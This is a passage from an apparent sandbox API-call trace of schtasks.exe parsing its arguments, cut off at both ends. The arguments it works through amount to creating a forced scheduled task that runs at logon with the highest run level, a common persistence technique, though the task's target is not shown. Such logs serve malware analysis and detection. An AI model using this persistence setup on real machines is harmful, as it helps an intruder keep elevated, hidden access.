(lpString="rl") returned 2 [0137.973] _memicmp (_Buf1=0x25c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.973] _vsnwprintf (in: _Buffer=0x25c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|ec|") returned 4 [0137.973] _vsnwprintf (in: _Buffer=0x25c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|rl|") returned 4 [0137.973] lstrlenW (lpString="|ec|") returned 4 [0137.973] lstrlenW (lpString="|rl|") returned 4 [0137.973] StrStrIW (lpFirst="|ec|", lpSrch="|rl|") returned 0x0 [0137.973] SetLastError (dwErrCode=0x490) [0137.973] lstrlenW (lpString="rl") returned 2 [0137.973] lstrlenW (lpString="rl") returned 2 [0137.973] _memicmp (_Buf1=0x25c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.973] lstrlenW (lpString="rl") returned 2 [0137.973] _memicmp (_Buf1=0x25c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.973] _vsnwprintf (in: _Buffer=0x25c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|rl|") returned 4 [0137.973] _vsnwprintf (in: _Buffer=0x25c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|rl|") returned 4 [0137.973] lstrlenW (lpString="|rl|") returned 4 [0137.973] lstrlenW (lpString="|rl|") returned 4 [0137.973] StrStrIW (lpFirst="|rl|", lpSrch="|rl|") returned="|rl|" [0137.973] SetLastError (dwErrCode=0x0) [0137.973] SetLastError (dwErrCode=0x0) [0137.973] lstrlenW (lpString="HIGHEST") returned 7 [0137.973] lstrlenW (lpString="-/") returned 2 [0137.973] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0137.973] SetLastError (dwErrCode=0x490) [0137.974] SetLastError (dwErrCode=0x490) [0137.974] SetLastError (dwErrCode=0x0) [0137.974] lstrlenW (lpString="HIGHEST") returned 7 [0137.974] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0137.974] SetLastError (dwErrCode=0x490) [0137.974] SetLastError (dwErrCode=0x0) [0137.974] _memicmp (_Buf1=0x25d560, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.974] lstrlenW (lpString="HIGHEST") returned 7 [0137.974] lstrlenW (lpString="HIGHEST") returned 7 [0137.974] lstrlenW (lpString=" \x09") returned 2 [0137.974] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0137.974] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0137.974] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0137.974] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0137.974] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0137.974] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0137.974] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0137.974] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0137.974] GetLastError () returned 0x0 [0137.974] lstrlenW (lpString="HIGHEST") returned 7 [0137.974] lstrlenW (lpString="HIGHEST") returned 7 [0137.974] SetLastError (dwErrCode=0x0) [0137.974] SetLastError (dwErrCode=0x0) [0137.974] lstrlenW (lpString="/f") returned 2 [0137.974] lstrlenW (lpString="-/") returned 2 [0137.974] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0137.974] lstrlenW (lpString="create") returned 6 [0137.974] lstrlenW (lpString="create") returned 6 [0137.974] _memicmp (_Buf1=0x25c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.975] lstrlenW (lpString="f") returned 1 [0137.975] _memicmp (_Buf1=0x25c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.975] _vsnwprintf (in: _Buffer=0x25c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|create|") returned 8 [0137.975] _vsnwprintf (in: _Buffer=0x25c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|f|") returned 3 [0137.975] lstrlenW (lpString="|create|") returned 8 [0137.975] lstrlenW (lpString="|f|") returned 3 [0137.975] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0137.975] SetLastError (dwErrCode=0x490) [0137.975] lstrlenW (lpString="?") returned 1 [0137.975] lstrlenW (lpString="?") returned 1 [0137.975] _memicmp (_Buf1=0x25c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.975] lstrlenW (lpString="f") returned 1 [0137.975] _memicmp (_Buf1=0x25c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.975] _vsnwprintf (in: _Buffer=0x25c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|?|") returned 3 [0137.975] _vsnwprintf (in: _Buffer=0x25c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|f|") returned 3 [0137.975] lstrlenW (lpString="|?|") returned 3 [0137.975] lstrlenW (lpString="|f|") returned 3 [0137.975] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0137.975] SetLastError (dwErrCode=0x490) [0137.975] lstrlenW (lpString="s") returned 1 [0137.975] lstrlenW (lpString="s") returned 1 [0137.975] _memicmp (_Buf1=0x25c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.975] lstrlenW (lpString="f") returned 1 [0137.975] _memicmp (_Buf1=0x25c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.975] _vsnwprintf (in: _Buffer=0x25c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|s|") returned 3 [0137.975] _vsnwprintf (in: _Buffer=0x25c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|f|") returned 3 [0137.975] lstrlenW (lpString="|s|") returned 3 [0137.975] lstrlenW (lpString="|f|") returned 3 [0137.976] StrStrIW (lpFirst="|s|", lpSrch="|f|") returned 0x0 [0137.976] SetLastError (dwErrCode=0x490) [0137.976] lstrlenW (lpString="u") returned 1 [0137.976] lstrlenW (lpString="u") returned 1 [0137.976] _memicmp (_Buf1=0x25c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.976] lstrlenW (lpString="f") returned 1 [0137.976] _memicmp (_Buf1=0x25c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.976] _vsnwprintf (in: _Buffer=0x25c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|u|") returned 3 [0137.976] _vsnwprintf (in: _Buffer=0x25c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|f|") returned 3 [0137.976] lstrlenW (lpString="|u|") returned 3 [0137.976] lstrlenW (lpString="|f|") returned 3 [0137.976] StrStrIW (lpFirst="|u|", lpSrch="|f|") returned 0x0 [0137.976] SetLastError (dwErrCode=0x490) [0137.976] lstrlenW (lpString="p") returned 1 [0137.976] lstrlenW (lpString="p") returned 1 [0137.976] _memicmp (_Buf1=0x25c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.976] lstrlenW (lpString="f") returned 1 [0137.976] _memicmp (_Buf1=0x25c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.976] _vsnwprintf (in: _Buffer=0x25c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|p|") returned 3 [0137.976] _vsnwprintf (in: _Buffer=0x25c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|f|") returned 3 [0137.976] lstrlenW (lpString="|p|") returned 3 [0137.976] lstrlenW (lpString="|f|") returned 3 [0137.976] StrStrIW (lpFirst="|p|", lpSrch="|f|") returned 0x0 [0137.976] SetLastError (dwErrCode=0x490) [0137.976] lstrlenW (lpString="ru") returned 2 [0137.976] lstrlenW (lpString="ru") returned 2 [0137.976] _memicmp (_Buf1=0x25c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.976] lstrlenW (lpString="f") returned 1 [0137.977] _memicmp (_Buf1=0x25c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.977] _vsnwprintf (in: _Buffer=0x25c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|ru|") returned 4 [0137.977] _vsnwprintf (in: _Buffer=0x25c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|f|") returned 3 [0137.977] lstrlenW (lpString="|ru|") returned 4 [0137.977] lstrlenW (lpString="|f|") returned 3 [0137.977] StrStrIW (lpFirst="|ru|", lpSrch="|f|") returned 0x0 [0137.977] SetLastError (dwErrCode=0x490) [0137.977] lstrlenW (lpString="rp") returned 2 [0137.977] lstrlenW (lpString="rp") returned 2 [0137.977] _memicmp (_Buf1=0x25c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.977] lstrlenW (lpString="f") returned 1 [0137.977] _memicmp (_Buf1=0x25c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.977] _vsnwprintf (in: _Buffer=0x25c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|rp|") returned 4 [0137.977] _vsnwprintf (in: _Buffer=0x25c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|f|") returned 3 [0137.977] lstrlenW (lpString="|rp|") returned 4 [0137.977] lstrlenW (lpString="|f|") returned 3 [0137.977] StrStrIW (lpFirst="|rp|", lpSrch="|f|") returned 0x0 [0137.977] SetLastError (dwErrCode=0x490) [0137.977] lstrlenW (lpString="sc") returned 2 [0137.977] lstrlenW (lpString="sc") returned 2 [0137.977] _memicmp (_Buf1=0x25c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.977] lstrlenW (lpString="f") returned 1 [0137.977] _memicmp (_Buf1=0x25c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.977] _vsnwprintf (in: _Buffer=0x25c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|sc|") returned 4 [0137.977] _vsnwprintf (in: _Buffer=0x25c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|f|") returned 3 [0137.977] lstrlenW (lpString="|sc|") returned 4 [0137.977] lstrlenW (lpString="|f|") returned 3 [0137.977] StrStrIW (lpFirst="|sc|", lpSrch="|f|") returned 0x0 [0137.978] SetLastError (dwErrCode=0x490) [0137.978] lstrlenW (lpString="mo") returned 2 [0137.978] lstrlenW (lpString="mo") returned 2 [0137.978] _memicmp (_Buf1=0x25c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.978] lstrlenW (lpString="f") returned 1 [0137.978] _memicmp (_Buf1=0x25c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.978] _vsnwprintf (in: _Buffer=0x25c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|mo|") returned 4 [0137.978] _vsnwprintf (in: _Buffer=0x25c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|f|") returned 3 [0137.978] lstrlenW (lpString="|mo|") returned 4 [0137.978] lstrlenW (lpString="|f|") returned 3 [0137.978] StrStrIW (lpFirst="|mo|", lpSrch="|f|") returned 0x0 [0137.978] SetLastError (dwErrCode=0x490) [0137.978] lstrlenW (lpString="d") returned 1 [0137.978] lstrlenW (lpString="d") returned 1 [0137.978] _memicmp (_Buf1=0x25c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.978] lstrlenW (lpString="f") returned 1 [0137.978] _memicmp (_Buf1=0x25c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.978] _vsnwprintf (in: _Buffer=0x25c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|d|") returned 3 [0137.978] _vsnwprintf (in: _Buffer=0x25c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|f|") returned 3 [0137.978] lstrlenW (lpString="|d|") returned 3 [0137.978] lstrlenW (lpString="|f|") returned 3 [0137.978] StrStrIW (lpFirst="|d|", lpSrch="|f|") returned 0x0 [0137.978] SetLastError (dwErrCode=0x490) [0137.978] lstrlenW (lpString="m") returned 1 [0137.978] lstrlenW (lpString="m") returned 1 [0137.978] _memicmp (_Buf1=0x25c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.978] lstrlenW (lpString="f") returned 1 [0137.978] _memicmp (_Buf1=0x25c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.978] _vsnwprintf (in: _Buffer=0x25c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|m|") returned 3 [0137.979] _vsnwprintf (in: _Buffer=0x25c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|f|") returned 3 [0137.979] lstrlenW (lpString="|m|") returned 3 [0137.979] lstrlenW (lpString="|f|") returned 3 [0137.979] StrStrIW (lpFirst="|m|", lpSrch="|f|") returned 0x0 [0137.979] SetLastError (dwErrCode=0x490) [0137.979] lstrlenW (lpString="i") returned 1 [0137.979] lstrlenW (lpString="i") returned 1 [0137.979] _memicmp (_Buf1=0x25c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.979] lstrlenW (lpString="f") returned 1 [0137.979] _memicmp (_Buf1=0x25c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.979] _vsnwprintf (in: _Buffer=0x25c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|i|") returned 3 [0137.979] _vsnwprintf (in: _Buffer=0x25c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|f|") returned 3 [0137.979] lstrlenW (lpString="|i|") returned 3 [0137.979] lstrlenW (lpString="|f|") returned 3 [0137.979] StrStrIW (lpFirst="|i|", lpSrch="|f|") returned 0x0 [0137.979] SetLastError (dwErrCode=0x490) [0137.979] lstrlenW (lpString="tn") returned 2 [0137.979] lstrlenW (lpString="tn") returned 2 [0137.979] _memicmp (_Buf1=0x25c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.979] lstrlenW (lpString="f") returned 1 [0137.979] _memicmp (_Buf1=0x25c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.979] _vsnwprintf (in: _Buffer=0x25c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|tn|") returned 4 [0137.979] _vsnwprintf (in: _Buffer=0x25c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|f|") returned 3 [0137.979] lstrlenW (lpString="|tn|") returned 4 [0137.979] lstrlenW (lpString="|f|") returned 3 [0137.979] StrStrIW (lpFirst="|tn|", lpSrch="|f|") returned 0x0 [0137.979] SetLastError (dwErrCode=0x490) [0137.979] lstrlenW (lpString="tr") returned 2 [0137.980] lstrlenW (lpString="tr") returned 2 [0137.980] _memicmp (_Buf1=0x25c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.980] lstrlenW (lpString="f") returned 1 [0137.980] _memicmp (_Buf1=0x25c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.980] _vsnwprintf (in: _Buffer=0x25c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|tr|") returned 4 [0137.980] _vsnwprintf (in: _Buffer=0x25c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|f|") returned 3 [0137.980] lstrlenW (lpString="|tr|") returned 4 [0137.980] lstrlenW (lpString="|f|") returned 3 [0137.980] StrStrIW (lpFirst="|tr|", lpSrch="|f|") returned 0x0 [0137.980] SetLastError (dwErrCode=0x490) [0137.980] lstrlenW (lpString="st") returned 2 [0137.980] lstrlenW (lpString="st") returned 2 [0137.980] _memicmp (_Buf1=0x25c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.980] lstrlenW (lpString="f") returned 1 [0137.980] _memicmp (_Buf1=0x25c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.980] _vsnwprintf (in: _Buffer=0x25c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|st|") returned 4 [0137.980] _vsnwprintf (in: _Buffer=0x25c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|f|") returned 3 [0137.980] lstrlenW (lpString="|st|") returned 4 [0137.980] lstrlenW (lpString="|f|") returned 3 [0137.980] StrStrIW (lpFirst="|st|", lpSrch="|f|") returned 0x0 [0137.980] SetLastError (dwErrCode=0x490) [0137.980] lstrlenW (lpString="sd") returned 2 [0137.980] lstrlenW (lpString="sd") returned 2 [0137.980] _memicmp (_Buf1=0x25c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.980] lstrlenW (lpString="f") returned 1 [0137.980] _memicmp (_Buf1=0x25c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.980] _vsnwprintf (in: _Buffer=0x25c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|sd|") returned 4 [0137.981] _vsnwprintf (in: _Buffer=0x25c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|f|") returned 3 [0137.981] lstrlenW (lpString="|sd|") returned 4 [0137.981] lstrlenW (lpString="|f|") returned 3 [0137.981] StrStrIW (lpFirst="|sd|", lpSrch="|f|") returned 0x0 [0137.981] SetLastError (dwErrCode=0x490) [0137.981] lstrlenW (lpString="ed") returned 2 [0137.981] lstrlenW (lpString="ed") returned 2 [0137.981] _memicmp (_Buf1=0x25c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.981] lstrlenW (lpString="f") returned 1 [0137.981] _memicmp (_Buf1=0x25c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.981] _vsnwprintf (in: _Buffer=0x25c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|ed|") returned 4 [0137.981] _vsnwprintf (in: _Buffer=0x25c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|f|") returned 3 [0137.981] lstrlenW (lpString="|ed|") returned 4 [0137.981] lstrlenW (lpString="|f|") returned 3 [0137.981] StrStrIW (lpFirst="|ed|", lpSrch="|f|") returned 0x0 [0137.981] SetLastError (dwErrCode=0x490) [0137.981] lstrlenW (lpString="it") returned 2 [0137.981] lstrlenW (lpString="it") returned 2 [0137.981] _memicmp (_Buf1=0x25c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.981] lstrlenW (lpString="f") returned 1 [0137.981] _memicmp (_Buf1=0x25c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.981] _vsnwprintf (in: _Buffer=0x25c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|it|") returned 4 [0137.981] _vsnwprintf (in: _Buffer=0x25c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|f|") returned 3 [0137.981] lstrlenW (lpString="|it|") returned 4 [0137.981] lstrlenW (lpString="|f|") returned 3 [0137.981] StrStrIW (lpFirst="|it|", lpSrch="|f|") returned 0x0 [0137.981] SetLastError (dwErrCode=0x490) [0137.981] lstrlenW (lpString="et") returned 2 [0137.981] lstrlenW (lpString="et") returned 2 [0137.982] _memicmp (_Buf1=0x25c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.982] lstrlenW (lpString="f") returned 1 [0137.982] _memicmp (_Buf1=0x25c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.982] _vsnwprintf (in: _Buffer=0x25c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|et|") returned 4 [0137.982] _vsnwprintf (in: _Buffer=0x25c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|f|") returned 3 [0137.982] lstrlenW (lpString="|et|") returned 4 [0137.982] lstrlenW (lpString="|f|") returned 3 [0137.982] StrStrIW (lpFirst="|et|", lpSrch="|f|") returned 0x0 [0137.982] SetLastError (dwErrCode=0x490) [0137.982] lstrlenW (lpString="k") returned 1 [0137.982] lstrlenW (lpString="k") returned 1 [0137.982] _memicmp (_Buf1=0x25c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.982] lstrlenW (lpString="f") returned 1 [0137.982] _memicmp (_Buf1=0x25c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.982] _vsnwprintf (in: _Buffer=0x25c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|k|") returned 3 [0137.982] _vsnwprintf (in: _Buffer=0x25c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|f|") returned 3 [0137.982] lstrlenW (lpString="|k|") returned 3 [0137.982] lstrlenW (lpString="|f|") returned 3 [0137.982] StrStrIW (lpFirst="|k|", lpSrch="|f|") returned 0x0 [0137.982] SetLastError (dwErrCode=0x490) [0137.982] lstrlenW (lpString="du") returned 2 [0137.982] lstrlenW (lpString="du") returned 2 [0137.982] _memicmp (_Buf1=0x25c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.982] lstrlenW (lpString="f") returned 1 [0137.982] _memicmp (_Buf1=0x25c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.982] _vsnwprintf (in: _Buffer=0x25c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|du|") returned 4 [0137.982] _vsnwprintf (in: _Buffer=0x25c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|f|") returned 3 [0137.983] lstrlenW (lpString="|du|") returned 4 [0137.983] lstrlenW (lpString="|f|") returned 3 [0137.983] StrStrIW (lpFirst="|du|", lpSrch="|f|") returned 0x0 [0137.983] SetLastError (dwErrCode=0x490) [0137.983] lstrlenW (lpString="ri") returned 2 [0137.983] lstrlenW (lpString="ri") returned 2 [0137.983] _memicmp (_Buf1=0x25c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.983] lstrlenW (lpString="f") returned 1 [0137.983] _memicmp (_Buf1=0x25c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.983] _vsnwprintf (in: _Buffer=0x25c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|ri|") returned 4 [0137.983] _vsnwprintf (in: _Buffer=0x25c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|f|") returned 3 [0137.983] lstrlenW (lpString="|ri|") returned 4 [0137.983] lstrlenW (lpString="|f|") returned 3 [0137.983] StrStrIW (lpFirst="|ri|", lpSrch="|f|") returned 0x0 [0137.983] SetLastError (dwErrCode=0x490) [0137.983] lstrlenW (lpString="z") returned 1 [0137.983] lstrlenW (lpString="z") returned 1 [0137.983] _memicmp (_Buf1=0x25c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.983] lstrlenW (lpString="f") returned 1 [0137.983] _memicmp (_Buf1=0x25c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.983] _vsnwprintf (in: _Buffer=0x25c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|z|") returned 3 [0137.983] _vsnwprintf (in: _Buffer=0x25c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|f|") returned 3 [0137.983] lstrlenW (lpString="|z|") returned 3 [0137.983] lstrlenW (lpString="|f|") returned 3 [0137.983] StrStrIW (lpFirst="|z|", lpSrch="|f|") returned 0x0 [0137.983] SetLastError (dwErrCode=0x490) [0137.983] lstrlenW (lpString="f") returned 1 [0137.983] lstrlenW (lpString="f") returned 1 [0137.983] _memicmp (_Buf1=0x25c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.984] lstrlenW (lpString="f") returned 1 [0137.984] _memicmp (_Buf1=0x25c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.984] _vsnwprintf (in: _Buffer=0x25c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|f|") returned 3 [0137.984] _vsnwprintf (in: _Buffer=0x25c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|f|") returned 3 [0137.984] lstrlenW (lpString="|f|") returned 3 [0137.984] lstrlenW (lpString="|f|") returned 3 [0137.984] StrStrIW (lpFirst="|f|", lpSrch="|f|") returned="|f|" [0137.984] SetLastError (dwErrCode=0x0) [0137.984] SetLastError (dwErrCode=0x0) [0137.984] GetProcessHeap () returned 0x240000 [0137.984] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x25cd30 [0137.984] _memicmp (_Buf1=0x25bad0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.984] LoadStringW (in: hInstance=0x0, uID=0x20d, lpBuffer=0x25d2c0, cchBufferMax=256 | out: lpBuffer="LIMITED") returned 0x7 [0137.984] lstrlenW (lpString="LIMITED") returned 7 [0137.984] GetProcessHeap () returned 0x240000 [0137.984] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x10) returned 0x25d580 [0137.984] GetThreadLocale () returned 0x409 [0137.984] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="LIMITED", cchCount2=-1) returned 1 [0137.984] GetProcessHeap () returned 0x240000 [0137.984] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x25cd00 [0137.984] _memicmp (_Buf1=0x25bad0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.984] LoadStringW (in: hInstance=0x0, uID=0x20e, lpBuffer=0x25d2c0, cchBufferMax=256 | out: lpBuffer="HIGHEST") returned 0x7 [0137.984] lstrlenW (lpString="HIGHEST") returned 7 [0137.984] GetProcessHeap () returned 0x240000 [0137.984] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x10) returned 0x25d5a0 [0137.984] GetThreadLocale () returned 0x409 [0137.984] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="HIGHEST", cchCount2=-1) returned 2 [0137.985] GetProcessHeap () returned 0x240000 [0137.985] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x25ccd0 [0137.985] _memicmp (_Buf1=0x25bad0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.985] LoadStringW (in: hInstance=0x0, uID=0x1ae, lpBuffer=0x25d2c0, cchBufferMax=256 | out: lpBuffer="MINUTE") returned 0x6 [0137.985] lstrlenW (lpString="MINUTE") returned 6 [0137.985] GetProcessHeap () returned 0x240000 [0137.985] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0xe) returned 0x25d5c0 [0137.985] GetThreadLocale () returned 0x409 [0137.985] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="MINUTE", cchCount2=-1) returned 3 [0137.985] GetProcessHeap () returned 0x240000 [0137.985] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x25cca0 [0137.985] _memicmp (_Buf1=0x25bad0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.985] LoadStringW (in: hInstance=0x0, uID=0x1af, lpBuffer=0x25d2c0, cchBufferMax=256 | out: lpBuffer="HOURLY") returned 0x6 [0137.985] lstrlenW (lpString="HOURLY") returned 6 [0137.985] GetProcessHeap () returned 0x240000 [0137.985] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0xe) returned 0x25d5e0 [0137.985] GetThreadLocale () returned 0x409 [0137.985] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="HOURLY", cchCount2=-1) returned 3 [0137.985] GetProcessHeap () returned 0x240000 [0137.985] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x25cc70 [0137.985] _memicmp (_Buf1=0x25bad0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.985] LoadStringW (in: hInstance=0x0, uID=0x1b0, lpBuffer=0x25d2c0, cchBufferMax=256 | out: lpBuffer="DAILY") returned 0x5 [0137.985] lstrlenW (lpString="DAILY") returned 5 [0137.985] GetProcessHeap () returned 0x240000 [0137.985] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0xc) returned 0x25d600 [0137.985] GetThreadLocale () returned 0x409 [0137.985] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="DAILY", cchCount2=-1) returned 3 [0137.985] GetProcessHeap () returned 0x240000 [0137.985] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x25cc40 [0137.986] _memicmp (_Buf1=0x25bad0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.986] LoadStringW (in: hInstance=0x0, 